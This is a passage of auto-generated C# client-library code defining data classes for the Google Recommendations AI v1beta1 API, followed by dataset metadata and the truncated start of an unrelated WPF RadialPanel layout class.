nonempty, pass the token to the next request's /// `ListPredictionApiKeysRegistrationsRequest.pageToken`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")] public virtual string NextPageToken { get; set; } /// <summary>The list of registered API keys.</summary> [Newtonsoft.Json.JsonPropertyAttribute("predictionApiKeyRegistrations")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1PredictionApiKeyRegistration> PredictionApiKeyRegistrations { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response message for ListUserEvents method.</summary> public class GoogleCloudRecommendationengineV1beta1ListUserEventsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// If empty, the list is complete. If nonempty, the token to pass to the next request's /// ListUserEvents.page_token. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")] public virtual string NextPageToken { get; set; } /// <summary>The user events.</summary> [Newtonsoft.Json.JsonPropertyAttribute("userEvents")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1UserEvent> UserEvents { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Request message for Predict method.</summary> public class GoogleCloudRecommendationengineV1beta1PredictRequest : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. Use dryRun mode for this prediction query. If set to true, a dummy model will be used that returns /// arbitrary catalog items. Note that the dryRun mode should only be used for testing the API, or if the model /// is not ready. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("dryRun")] public virtual System.Nullable<bool> DryRun { get; set; } /// <summary> /// Optional. Filter for restricting prediction results. Accepts values for tags and the `filterOutOfStockItems` /// flag. * Tag expressions. Restricts predictions to items that match all of the specified tags. Boolean /// operators `OR` and `NOT` are supported if the expression is enclosed in parentheses, and must be separated /// from the tag values by a space. `-"tagA"` is also supported and is equivalent to `NOT "tagA"`. Tag values /// must be double quoted UTF-8 encoded strings with a size limit of 1 KiB. * filterOutOfStockItems. Restricts /// predictions to items that do not have a stockState value of OUT_OF_STOCK. Examples: * tag=("Red" OR "Blue") /// tag="New-Arrival" tag=(NOT "promotional") * filterOutOfStockItems tag=(-"promotional") * /// filterOutOfStockItems If your filter blocks all prediction results, nothing will be returned. If you want /// generic (unfiltered) popular items to be returned instead, set `strictFiltering` to false in /// `PredictRequest.params`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("filter")] public virtual string Filter { get; set; } /// <summary> /// Optional. The labels for the predict request. * Label keys can contain lowercase letters, digits and /// hyphens, must start with a letter, and must end with a letter or digit. * Non-zero label values can contain /// lowercase letters, digits and hyphens, must start with a letter, and must end with a letter or digit. * No /// more than 64 labels can be associated with a given request. See https://goo.gl/xmQnxf for more information /// on and examples of labels. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("labels")] public virtual System.Collections.Generic.IDictionary<string, string> Labels { get; set; } /// <summary> /// Optional. Maximum number of results to return per page. Set this property to the number of prediction /// results required. If zero, the service will choose a reasonable default. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("pageSize")] public virtual System.Nullable<int> PageSize { get; set; } /// <summary>Optional. The previous PredictResponse.next_page_token.</summary> [Newtonsoft.Json.JsonPropertyAttribute("pageToken")] public virtual string PageToken { get; set; } /// <summary> /// Optional. Additional domain specific parameters for the predictions. Allowed values: * `returnCatalogItem`: /// Boolean. If set to true, the associated catalogItem object will be returned in the /// `PredictResponse.PredictionResult.itemMetadata` object in the method response. * `returnItemScore`: Boolean. /// If set to true, the prediction 'score' corresponding to each returned item will be set in the `metadata` /// field in the prediction response. The given 'score' indicates the probability of an item being /// clicked/purchased given the user's context and history. * `strictFiltering`: Boolean. True by default. If /// set to false, the service will return generic (unfiltered) popular items instead of empty if your filter /// blocks all prediction results. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("params")] public virtual System.Collections.Generic.IDictionary<string, object> Params__ { get; set; } /// <summary> /// Required. Context about the user, what they are looking at and what action they took to trigger the predict /// request. Note that this user event detail won't be ingested to userEvent logs. Thus, a separate userEvent /// write request is required for event logging. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("userEvent")] public virtual GoogleCloudRecommendationengineV1beta1UserEvent UserEvent { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response message for predict method.</summary> public class GoogleCloudRecommendationengineV1beta1PredictResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>True if the dryRun property was set in the request.</summary> [Newtonsoft.Json.JsonPropertyAttribute("dryRun")] public virtual System.Nullable<bool> DryRun { get; set; } /// <summary>IDs of items in the request that were missing from the catalog.</summary> [Newtonsoft.Json.JsonPropertyAttribute("itemsMissingInCatalog")] public virtual System.Collections.Generic.IList<string> ItemsMissingInCatalog { get; set; } /// <summary>Additional domain specific prediction response metadata.</summary> [Newtonsoft.Json.JsonPropertyAttribute("metadata")] public virtual System.Collections.Generic.IDictionary<string, object> Metadata { get; set; } /// <summary> /// If empty, the list is complete. If nonempty, the token to pass to the next request's /// PredictRequest.page_token. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")] public virtual string NextPageToken { get; set; } /// <summary> /// A unique recommendation token. This should be included in the user event logs resulting from this /// recommendation, which enables accurate attribution of recommendation model performance. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("recommendationToken")] public virtual string RecommendationToken { get; set; } /// <summary> /// A list of recommended items. The order represents the ranking (from the most relevant item to the least). /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("results")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1PredictResponsePredictionResult> Results { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>PredictionResult represents the recommendation prediction results.</summary> public class GoogleCloudRecommendationengineV1beta1PredictResponsePredictionResult : Google.Apis.Requests.IDirectResponseSchema { /// <summary>ID of the recommended catalog item</summary> [Newtonsoft.Json.JsonPropertyAttribute("id")] public virtual string Id { get; set; } /// <summary> /// Additional item metadata / annotations. Possible values: * `catalogItem`: JSON representation of the /// catalogItem. Will be set if `returnCatalogItem` is set to true in `PredictRequest.params`. * `score`: /// Prediction score in double value. Will be set if `returnItemScore` is set to true in /// `PredictRequest.params`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("itemMetadata")] public virtual System.Collections.Generic.IDictionary<string, object> ItemMetadata { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Registered Api Key.</summary> public class GoogleCloudRecommendationengineV1beta1PredictionApiKeyRegistration : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The API key.</summary> [Newtonsoft.Json.JsonPropertyAttribute("apiKey")] public virtual string ApiKey { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>ProductCatalogItem captures item metadata specific to retail products.</summary> public class GoogleCloudRecommendationengineV1beta1ProductCatalogItem : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. The available quantity of the item.</summary> [Newtonsoft.Json.JsonPropertyAttribute("availableQuantity")] public virtual System.Nullable<long> AvailableQuantity { get; set; } /// <summary> /// Optional. Canonical URL directly linking to the item detail page with a length limit of 5 KiB.. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("canonicalProductUri")] public virtual string CanonicalProductUri { get; set; } /// <summary> /// Optional. A map to pass the costs associated with the product. For example: {"manufacturing": 45.5} The /// profit of selling this item is computed like so: * If 'exactPrice' is provided, profit = displayPrice - /// sum(costs) * If 'priceRange' is provided, profit = minPrice - sum(costs) /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("costs")] public virtual System.Collections.Generic.IDictionary<string, System.Nullable<float>> Costs { get; set; } /// <summary> /// Optional. Only required if the price is set. Currency code for price/costs. Use three-character ISO-4217 /// code. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("currencyCode")] public virtual string CurrencyCode { get; set; } /// <summary>Optional. The exact product price.</summary> [Newtonsoft.Json.JsonPropertyAttribute("exactPrice")] public virtual GoogleCloudRecommendationengineV1beta1ProductCatalogItemExactPrice ExactPrice { get; set; } /// <summary>Optional. Product images for the catalog item.</summary> [Newtonsoft.Json.JsonPropertyAttribute("images")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1Image> Images { get; set; } /// <summary>Optional. The product price range.</summary> [Newtonsoft.Json.JsonPropertyAttribute("priceRange")] public virtual GoogleCloudRecommendationengineV1beta1ProductCatalogItemPriceRange PriceRange { get; set; } /// <summary>Optional. Online stock state of the catalog item. Default is `IN_STOCK`.</summary> [Newtonsoft.Json.JsonPropertyAttribute("stockState")] public virtual string StockState { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Exact product price.</summary> public class GoogleCloudRecommendationengineV1beta1ProductCatalogItemExactPrice : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. Display price of the product.</summary> [Newtonsoft.Json.JsonPropertyAttribute("displayPrice")] public virtual System.Nullable<float> DisplayPrice { get; set; } /// <summary> /// Optional. Price of the product without any discount. If zero, by default set to be the 'displayPrice'. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("originalPrice")] public virtual System.Nullable<float> OriginalPrice { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Product price range when there are a range of prices for different variations of the same product. /// </summary> public class GoogleCloudRecommendationengineV1beta1ProductCatalogItemPriceRange : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Required. The maximum product price.</summary> [Newtonsoft.Json.JsonPropertyAttribute("max")] public virtual System.Nullable<float> Max { get; set; } /// <summary>Required. The minimum product price.</summary> [Newtonsoft.Json.JsonPropertyAttribute("min")] public virtual System.Nullable<float> Min { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Detailed product information associated with a user event.</summary> public class GoogleCloudRecommendationengineV1beta1ProductDetail : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. Quantity of the products in stock when a user event happens. Optional. If provided, this overrides /// the available quantity in Catalog for this event. and can only be set if `stock_status` is set to /// `IN_STOCK`. Note that if an item is out of stock, you must set the `stock_state` field to be `OUT_OF_STOCK`. /// Leaving this field unspecified / as zero is not sufficient to mark the item out of stock. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("availableQuantity")] public virtual System.Nullable<int> AvailableQuantity { get; set; } /// <summary> /// Optional. Currency code for price/costs. Use three-character ISO-4217 code. Required only if originalPrice /// or displayPrice is set. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("currencyCode")] public virtual string CurrencyCode { get; set; } /// <summary> /// Optional. Display price of the product (e.g. discounted price). If provided, this will override the display /// price in Catalog for this product. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("displayPrice")] public virtual System.Nullable<float> DisplayPrice { get; set; } /// <summary>Required. Catalog item ID. UTF-8 encoded string with a length limit of 128 characters.</summary> [Newtonsoft.Json.JsonPropertyAttribute("id")] public virtual string Id { get; set; } /// <summary>Optional. Extra features associated with a product in the user event.</summary> [Newtonsoft.Json.JsonPropertyAttribute("itemAttributes")] public virtual GoogleCloudRecommendationengineV1beta1FeatureMap ItemAttributes { get; set; } /// <summary> /// Optional. Original price of the product. If provided, this will override the original price in Catalog for /// this product. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("originalPrice")] public virtual System.Nullable<float> OriginalPrice { get; set; } /// <summary> /// Optional. Quantity of the product associated with the user event. For example, this field will be 2 if two /// products are added to the shopping cart for `add-to-cart` event. Required for `add-to-cart`, `add-to-list`, /// `remove-from-cart`, `checkout-start`, `purchase-complete`, `refund` event types. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("quantity")] public virtual System.Nullable<int> Quantity { get; set; } /// <summary> /// Optional. Item stock state. If provided, this overrides the stock state in Catalog for items in this event. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("stockState")] public virtual string StockState { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>ProductEventDetail captures user event information specific to retail products.</summary> public class GoogleCloudRecommendationengineV1beta1ProductEventDetail : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. The id or name of the associated shopping cart. This id is used to associate multiple items added /// or present in the cart before purchase. This can only be set for `add-to-cart`, `remove-from-cart`, /// `checkout-start`, `purchase-complete`, or `shopping-cart-page-view` events. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("cartId")] public virtual string CartId { get; set; } /// <summary> /// Required for `add-to-list` and `remove-from-list` events. The id or name of the list that the item is being /// added to or removed from. Other event types should not set this field. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("listId")] public virtual string ListId { get; set; } /// <summary> /// Required for `category-page-view` events. At least one of search_query or page_categories is required for /// `search` events. Other event types should not set this field. The categories associated with a category /// page. Category pages include special pages such as sales or promotions. For instance, a special sale page /// may have the category hierarchy: categories : ["Sales", "2017 Black Friday Deals"]. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("pageCategories")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1CatalogItemCategoryHierarchy> PageCategories { get; set; } /// <summary> /// The main product details related to the event. This field is required for the following event types: * /// `add-to-cart` * `add-to-list` * `checkout-start` * `detail-page-view` * `purchase-complete` * `refund` * /// `remove-from-cart` * `remove-from-list` This field is optional for the following event types: * `page-visit` /// * `shopping-cart-page-view` - note that 'product_details' should be set for this unless the shopping cart is /// empty. * `search` (highly encouraged) In a `search` event, this field represents the products returned to /// the end user on the current page (the end user may have not finished broswing the whole page yet). When a /// new page is returned to the end user, after pagination/filtering/ordering even for the same query, a new /// SEARCH event with different product_details is desired. The end user may have not finished broswing the /// whole page yet. This field is not allowed for the following event types: * `category-page-view` * /// `home-page-view` /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("productDetails")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1ProductDetail> ProductDetails { get; set; } /// <summary> /// Optional. A transaction represents the entire purchase transaction. Required for `purchase-complete` events. /// Optional for `checkout-start` events. Other event types should not set this field. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("purchaseTransaction")] public virtual GoogleCloudRecommendationengineV1beta1PurchaseTransaction PurchaseTransaction { get; set; } /// <summary> /// At least one of search_query or page_categories is required for `search` events. Other event types should /// not set this field. The user's search query as UTF-8 encoded text with a length limit of 5 KiB. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("searchQuery")] public virtual string SearchQuery { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>A transaction represents the entire purchase transaction.</summary> public class GoogleCloudRecommendationengineV1beta1PurchaseTransaction : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. All the costs associated with the product. These can be manufacturing costs, shipping expenses not /// borne by the end user, or any other costs. Total product cost such that profit = revenue - (sum(taxes) + /// sum(costs)) If product_cost is not set, then profit = revenue - tax - shipping - sum(CatalogItem.costs). If /// CatalogItem.cost is not specified for one of the items, CatalogItem.cost based profit *cannot* be calculated /// for this Transaction. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("costs")] public virtual System.Collections.Generic.IDictionary<string, System.Nullable<float>> Costs { get; set; } /// <summary> /// Required. Currency code. Use three-character ISO-4217 code. This field is not required if the event type is /// `refund`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("currencyCode")] public virtual string CurrencyCode { get; set; } /// <summary>Optional. The transaction ID with a length limit of 128 bytes.</summary> [Newtonsoft.Json.JsonPropertyAttribute("id")] public virtual string Id { get; set; } /// <summary> /// Required. Total revenue or grand total associated with the transaction. This value include shipping, tax, or /// other adjustments to total revenue that you want to include as part of your revenue calculations. This field /// is not required if the event type is `refund`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("revenue")] public virtual System.Nullable<float> Revenue { get; set; } /// <summary>Optional. All the taxes associated with the transaction.</summary> [Newtonsoft.Json.JsonPropertyAttribute("taxes")] public virtual System.Collections.Generic.IDictionary<string, System.Nullable<float>> Taxes { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Metadata related to the progress of the PurgeUserEvents operation. This will be returned by the /// google.longrunning.Operation.metadata field. /// </summary> public class GoogleCloudRecommendationengineV1beta1PurgeUserEventsMetadata : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Operation create time.</summary> [Newtonsoft.Json.JsonPropertyAttribute("createTime")] public virtual object CreateTime { get; set; } /// <summary>The ID of the request / operation.</summary> [Newtonsoft.Json.JsonPropertyAttribute("operationName")] public virtual string OperationName { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Request message for PurgeUserEvents method.</summary> public class GoogleCloudRecommendationengineV1beta1PurgeUserEventsRequest : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Required. The filter string to specify the events to be deleted. Empty string filter is not allowed. The /// eligible fields for filtering are: * `eventType`: UserEvent.eventType field of type string. * `eventTime`: /// in ISO 8601 "zulu" format. * `visitorId`: field of type string. Specifying this will delete all events /// associated with a visitor. * `userId`: field of type string. Specifying this will delete all events /// associated with a user. Examples: * Deleting all events in a time range: `eventTime &amp;gt; /// "2012-04-23T18:25:43.511Z" eventTime &amp;lt; "2012-04-23T18:30:43.511Z"` * Deleting specific eventType in /// time range: `eventTime &amp;gt; "2012-04-23T18:25:43.511Z" eventType = "detail-page-view"` * Deleting all /// events for a specific visitor: `visitorId = "visitor1024"` The filtering fields are assumed to have an /// implicit AND. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("filter")] public virtual string Filter { get; set; } /// <summary> /// Optional. The default value is false. Override this flag to true to actually perform the purge. If the field /// is not set to true, a sampling of events to be deleted will be returned. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("force")] public virtual System.Nullable<bool> Force { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// Response of the PurgeUserEventsRequest. If the long running operation is successfully done, then this message is /// returned by the google.longrunning.Operations.response field. /// </summary> public class GoogleCloudRecommendationengineV1beta1PurgeUserEventsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The total count of events purged as a result of the operation.</summary> [Newtonsoft.Json.JsonPropertyAttribute("purgedEventsCount")] public virtual System.Nullable<long> PurgedEventsCount { get; set; } /// <summary> /// A sampling of events deleted (or will be deleted) depending on the `force` property in the request. Max of /// 500 items will be returned. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("userEventsSample")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1UserEvent> UserEventsSample { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Metadata for RejoinUserEvents method.</summary> public class GoogleCloudRecommendationengineV1beta1RejoinUserEventsMetadata : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Request message for CatalogRejoin method.</summary> public class GoogleCloudRecommendationengineV1beta1RejoinUserEventsRequest : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Required. The type of the catalog rejoin to define the scope and range of the user events to be rejoined /// with catalog items. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("userEventRejoinScope")] public virtual string UserEventRejoinScope { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Response message for RejoinUserEvents method.</summary> public class GoogleCloudRecommendationengineV1beta1RejoinUserEventsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Number of user events that were joined with latest catalog items.</summary> [Newtonsoft.Json.JsonPropertyAttribute("rejoinedUserEventsCount")] public virtual System.Nullable<long> RejoinedUserEventsCount { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// UserEvent captures all metadata information recommendation engine needs to know about how end users interact /// with customers' website. /// </summary> public class GoogleCloudRecommendationengineV1beta1UserEvent : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. User event detailed information common across different recommendation types.</summary> [Newtonsoft.Json.JsonPropertyAttribute("eventDetail")] public virtual GoogleCloudRecommendationengineV1beta1EventDetail EventDetail { get; set; } /// <summary> /// Optional. This field should *not* be set when using JavaScript pixel or the Recommendations AI Tag. Defaults /// to `EVENT_SOURCE_UNSPECIFIED`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("eventSource")] public virtual string EventSource { get; set; } /// <summary>Optional. Only required for ImportUserEvents method. Timestamp of user event created.</summary> [Newtonsoft.Json.JsonPropertyAttribute("eventTime")] public virtual object EventTime { get; set; } /// <summary> /// Required. User event type. Allowed values are: * `add-to-cart` Products being added to cart. * `add-to-list` /// Items being added to a list (shopping list, favorites etc). * `category-page-view` Special pages such as /// sale or promotion pages viewed. * `checkout-start` User starting a checkout process. * `detail-page-view` /// Products detail page viewed. * `home-page-view` Homepage viewed. * `page-visit` Generic page visits not /// included in the event types above. * `purchase-complete` User finishing a purchase. * `refund` Purchased /// items being refunded or returned. * `remove-from-cart` Products being removed from cart. * /// `remove-from-list` Items being removed from a list. * `search` Product search. * `shopping-cart-page-view` /// User viewing a shopping cart. * `impression` List of items displayed. Used by Google Tag Manager. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("eventType")] public virtual string EventType { get; set; } /// <summary> /// Optional. Retail product specific user event metadata. This field is required for the following event types: /// * `add-to-cart` * `add-to-list` * `category-page-view` * `checkout-start` * `detail-page-view` * /// `purchase-complete` * `refund` * `remove-from-cart` * `remove-from-list` * `search` This field is optional /// for the following event types: * `page-visit` * `shopping-cart-page-view` - note that 'product_event_detail' /// should be set for this unless the shopping cart is empty. This field is not allowed for the following event /// types: * `home-page-view` /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("productEventDetail")] public virtual GoogleCloudRecommendationengineV1beta1ProductEventDetail ProductEventDetail { get; set; } /// <summary>Required. User information.</summary> [Newtonsoft.Json.JsonPropertyAttribute("userInfo")] public virtual GoogleCloudRecommendationengineV1beta1UserInfo UserInfo { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// A summary of import result. The UserEventImportSummary summarizes the import status for user events. /// </summary> public class GoogleCloudRecommendationengineV1beta1UserEventImportSummary : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Count of user events imported with complete existing catalog information.</summary> [Newtonsoft.Json.JsonPropertyAttribute("joinedEventsCount")] public virtual System.Nullable<long> JoinedEventsCount { get; set; } /// <summary> /// Count of user events imported, but with catalog information not found in the imported catalog. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("unjoinedEventsCount")] public virtual System.Nullable<long> UnjoinedEventsCount { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>The inline source for the input config for ImportUserEvents method.</summary> public class GoogleCloudRecommendationengineV1beta1UserEventInlineSource : Google.Apis.Requests.IDirectResponseSchema { /// <summary>Optional. A list of user events to import. Recommended max of 10k items.</summary> [Newtonsoft.Json.JsonPropertyAttribute("userEvents")] public virtual System.Collections.Generic.IList<GoogleCloudRecommendationengineV1beta1UserEvent> UserEvents { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>Information of end users.</summary> public class GoogleCloudRecommendationengineV1beta1UserInfo : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// Optional. Indicates if the request is made directly from the end user in which case the user_agent and /// ip_address fields can be populated from the HTTP request. This should *not* be set when using the javascript /// pixel. This flag should be set only if the API request is made directly from the end user such as a mobile /// app (and not if a gateway or a server is processing and pushing the user events). /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("directUserRequest")] public virtual System.Nullable<bool> DirectUserRequest { get; set; } /// <summary> /// Optional. IP address of the user. This could be either IPv4 (e.g. 104.133.9.80) or IPv6 (e.g. /// 2001:0db8:85a3:0000:0000:8a2e:0370:7334). This should *not* be set when using the javascript pixel or if /// `direct_user_request` is set. Used to extract location information for personalization. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("ipAddress")] public virtual string IpAddress { get; set; } /// <summary> /// Optional. User agent as included in the HTTP header. UTF-8 encoded string with a length limit of 1 KiB. This /// should *not* be set when using the JavaScript pixel or if `directUserRequest` is set. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("userAgent")] public virtual string UserAgent { get; set; } /// <summary> /// Optional. Unique identifier for logged-in user with a length limit of 128 bytes. Required only for logged-in /// users. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("userId")] public virtual string UserId { get; set; } /// <summary> /// Required. A unique identifier for tracking visitors with a length limit of 128 bytes. For example, this /// could be implemented with a http cookie, which should be able to uniquely identify a visitor on a single /// device. This unique identifier should not change if the visitor log in/out of the website. Maximum length /// 128 bytes. Cannot be empty. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("visitorId")] public virtual string VisitorId { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>The response message for Operations.ListOperations.</summary> public class GoogleLongrunningListOperationsResponse : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The standard List next-page token.</summary> [Newtonsoft.Json.JsonPropertyAttribute("nextPageToken")] public virtual string NextPageToken { get; set; } /// <summary>A list of operations that matches the specified filter in the request.</summary> [Newtonsoft.Json.JsonPropertyAttribute("operations")] public virtual System.Collections.Generic.IList<GoogleLongrunningOperation> Operations { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary>This resource represents a long-running operation that is the result of a network API call.</summary> public class GoogleLongrunningOperation : Google.Apis.Requests.IDirectResponseSchema { /// <summary> /// If the value is `false`, it means the operation is still in progress. If `true`, the operation is completed, /// and either `error` or `response` is available. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("done")] public virtual System.Nullable<bool> Done { get; set; } /// <summary>The error result of the operation in case of failure or cancellation.</summary> [Newtonsoft.Json.JsonPropertyAttribute("error")] public virtual GoogleRpcStatus Error { get; set; } /// <summary> /// Service-specific metadata associated with the operation. It typically contains progress information and /// common metadata such as create time. Some services might not provide such metadata. Any method that returns /// a long-running operation should document the metadata type, if any. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("metadata")] public virtual System.Collections.Generic.IDictionary<string, object> Metadata { get; set; } /// <summary> /// The server-assigned name, which is only unique within the same service that originally returns it. If you /// use the default HTTP mapping, the `name` should be a resource name ending with `operations/{unique_id}`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("name")] public virtual string Name { get; set; } /// <summary> /// The normal response of the operation in case of success. If the original method returns no data on success, /// such as `Delete`, the response is `google.protobuf.Empty`. If the original method is standard /// `Get`/`Create`/`Update`, the response should be the resource. For other methods, the response should have /// the type `XxxResponse`, where `Xxx` is the original method name. For example, if the original method name is /// `TakeSnapshot()`, the inferred response type is `TakeSnapshotResponse`. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("response")] public virtual System.Collections.Generic.IDictionary<string, object> Response { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// A generic empty message that you can re-use to avoid defining duplicated empty messages in your APIs. A typical /// example is to use it as the request or the response type of an API method. For instance: service Foo { rpc /// Bar(google.protobuf.Empty) returns (google.protobuf.Empty); } The JSON representation for `Empty` is empty JSON /// object `{}`. /// </summary> public class GoogleProtobufEmpty : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } /// <summary> /// The `Status` type defines a logical error model that is suitable for different programming environments, /// including REST APIs and RPC APIs. It is used by [gRPC](https://github.com/grpc). Each `Status` message contains /// three pieces of data: error code, error message, and error details. You can find out more about this error model /// and how to work with it in the [API Design Guide](https://cloud.google.com/apis/design/errors). /// </summary> public class GoogleRpcStatus : Google.Apis.Requests.IDirectResponseSchema { /// <summary>The status code, which should be an enum value of google.rpc.Code.</summary> [Newtonsoft.Json.JsonPropertyAttribute("code")] public virtual System.Nullable<int> Code { get; set; } /// <summary> /// A list of messages that carry the error details. There is a common set of message types for APIs to use. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("details")] public virtual System.Collections.Generic.IList<System.Collections.Generic.IDictionary<string, object>> Details { get; set; } /// <summary> /// A developer-facing error message, which should be in English. Any user-facing error message should be /// localized and sent in the google.rpc.Status.details field, or localized by the client. /// </summary> [Newtonsoft.Json.JsonPropertyAttribute("message")] public virtual string Message { get; set; } /// <summary>The ETag of the item.</summary> public virtual string ETag { get; set; } } }
57.642733
253
0.567741
[ "Apache-2.0" ]
arithmetic1728/google-api-dotnet-client
Src/Generated/Google.Apis.RecommendationsAI.v1beta1/Google.Apis.RecommendationsAI.v1beta1.cs
198,291
C#
using System; using System.Windows; using System.Windows.Controls; namespace Components.Utility { public class RadialPanel : Panel { // Measure each children and give as much room as they want protected override Size MeasureOverride(Size availableSize) { foreach (UIElement elem in Children) { //Give Infinite size as the avaiable size for all the children elem.Measure(new Size(double.PositiveInfinity, double.PositiveInfinity)); } return base.MeasureOverride(availableSize); } //Arrange all children based on the geometric equations for the circle. protected override Size ArrangeOverride(Size finalSize) { if (Children.Count == 0) return finalSize; double _angle = 0; //Degrees converted to Radian by multiplying with PI/180 double _incrementalAngularSpace = (360.0 / Children.Count) * (Math.PI / 180); //An approximate radii based on the avialable size , obviusly a better approach is needed here. double radiusX = finalSize.Width / 4; double radiusY = finalSize.Height / 4; foreach (UIElement elem in Children) { //Calculate the point on the circle for the element Point childPoint = new Point(Math.Cos(_angle) * radiusX, -Math.Sin(_angle) * radiusY); //Offsetting the point to the Avalable rectangular area which is FinalSize. Point actualChildPoint = new Point(finalSize.Width / 2 + childPoint.X - elem.DesiredSize.Width / 2, finalSize.Height / 2 + childPoint.Y - elem.DesiredSize.Height / 2); //Call Arrange method on the child element by giving the calculated point as the placementPoint. elem.Arrange(new 